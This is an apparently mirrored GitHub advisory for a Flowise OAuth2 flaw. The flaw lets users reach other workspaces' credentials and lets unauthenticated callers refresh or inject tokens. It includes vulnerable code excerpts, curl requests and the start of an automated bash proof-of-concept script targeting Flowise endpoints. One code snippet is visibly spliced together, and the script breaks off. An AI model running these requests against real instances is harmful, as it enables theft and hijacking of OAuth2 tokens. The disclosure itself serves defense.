GitHub Advisoryadvisory · npm
GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
HIGH
Official page ↗
- Aliases
- CVE-2026-70474
- Ecosystem
- npm
- Packages
- flowise
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-863
- Reviewed
- 2026-08-04
Affected packages
• npm flowise: < 3.1.3 → fixed in 3.1.3
Description
Summary
Three OAuth2 credential endpoints look up credentials by `id` alone with no `workspaceId` filter. Two of these endpoints (`callback`, `refresh`) are whitelisted from all authentication. This allows:
1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.
2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.
3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.
---
Root Cause
Vulnerable code: no workspace scoping
All three OAuth2 handlers query the `Credential` table by `id` only:
`packages/server/src/routes/oauth2/index.ts:80-82` (authorize)
```typescript
const credential = await credentialRepository.findOneBy({
id: credentialId
// Missing: workspaceId filter
})
```
`packages/server/src/routes/oauth2/index.ts:183-185` (callback)
```typescript
const credential = await credentialRepository.findOneBy({
id: state as string
// Missing: workspaceId filter
})
```
`packages/server/src/routes/oauth2/index.ts:314-316` (refresh)
```typescript
const credential = await credentialRepository.findOneBy({
id: credentialId
// Missing: workspaceId filter
})
```
Correct pattern (same codebase)
The standard credential service correctly enforces workspace isolation:
`packages/server/src/services/credentials/index.ts:130-132`
```typescript
const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
id: credentialId,
workspaceId: workspaceId // req.path.startsWith(url))
if (isWhitelisted) {
next() // No JWT verification, no API key check
}
```
---
Attack Scenarios
Scenario A: Cross-Workspace Credential Metadata Leak
An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's `client_id`, `scope`, and `redirect_uri`.
```
POST /api/v1/oauth2-credential/authorize/
Cookie: connect.sid=
```
Response:
```json
{
"success": true,
"credentialId": "",
"authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...",
"redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback"
}
```
Scenario B: Unauthenticated Token Injection via Forged Callback
The callback endpoint requires no authentication and uses the `state` parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.
```
GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=
(No authentication required)
```
The server exchanges the code at the credential's `accessTokenUrl`, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):
```typescript
await credentialRepository.update(credential.id, {
encryptedData, // Contains attacker-controlled token data
updatedDate: new Date()
})
```
Scenario C: Unauthenticated Token Refresh
An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored `refresh_token`, exchanges it at the `accessTokenUrl`, and returns fresh token metadata.
```
POST /api/v1/oauth2-credential/refresh/
(No authentication required)
```
Response:
```json
{
"success": true,
"credentialId": "",
"tokenInfo": {
"access_token": "new-access-token-value",
"token_type": "Bearer",
"expires_in": 3600,
"has_new_refresh_token": false,
"expires_at": "2026-04-13T12:00:00.000Z"
}
}
```
The fresh `access_token` is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.
---
Proof of Concept
Prerequisites
• A running Flowise instance with at least two workspaces (Workspace A and Workspace B)
• An OAuth2 credential configured in Workspace B (the victim)
• The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)
Step 1 — Confirm unauthenticated refresh endpoint is reachable
```bash
No cookies, no Bearer token — completely unauthenticated
FLOWISE_URL="https://TARGET_INSTANCE"
VICTIM_CRED_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
-H "Content-Type: application/json"
```
Expected result if credential exists and has a refresh token:
```json
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"tokenInfo": {
"access_token": "",
"token_type": "Bearer",
"expires_in": 3600,
"has_new_refresh_token": false,
"expires_at": "2026-04-13T..."
}
}
```
Expected result if credential not found:
```json
{
"success": false,
"message": "Credential not found"
}
```
Step 2 — Cross-workspace authorize (requires any valid session)
```bash
Attacker is authenticated in Workspace A
They target a credential UUID from Workspace B
ATTACKER_COOKIE="connect.sid=s%3A..."
curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
-H "Cookie: ${ATTACKER_COOKIE}" \
-H "Content-Type: application/json"
```
Expected result — victim credential's OAuth2 config is leaked:
```json
{
"success": true,
"credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"authorizationUrl": "https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...",
"redirectUri": "https://TARGET_INSTANCE/api/v1/oauth2-credential/callback"
}
```
Step 3 — Forge callback to inject attacker-controlled tokens
```bash
Attacker sets up a rogue OAuth2 provider that returns crafted tokens,
OR intercepts a legitimate flow.
The state parameter is the victim credential UUID.
curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}"
```
The server POSTs the `code` to the credential's `accessTokenUrl`. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.
Full automated PoC script
```bash
!/usr/bin/env bash
set -euo pipefail
---- Configuration ----
FLOWISE_URL="${1:?Usage: $0 [attacker_cookie]}"
VICTIM_CRED_ID="${2:?Usage: $0 [attacker_cookie]}"
ATTACKER_COOKIE="${3:-}"
echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ==="
echo "Target: ${FLOWISE_URL}"
echo "Credential: ${VICTIM_CRED_ID}"
echo ""
--- Attack Vector 1: Unauthenticated token refresh ---
echo "[1] Attempting unauthenticated token refresh..."
REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
-H "Content-Type: application/json")
HTTP_CODE=$(echo "${REFRESH_RESP}" | tail -1)
BODY=$(echo "${REFRESH_RESP}" | head -n -1)
if [ "${HTTP_CODE}" = "200" ]; then
echo "[!] VULNERABLE — Unauthenticated token refresh succeeded"
echo " Response: ${BODY}" | head -c 500
echo ""
elif echo "${BODY}" | grep -q "Credential not found"; then
echo …
Related
Alias · CVE (1)
- CVE-2026-70474 Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. vulnerability
Weakness · CWE (1)
- CWE-863 Incorrect Authorization weakness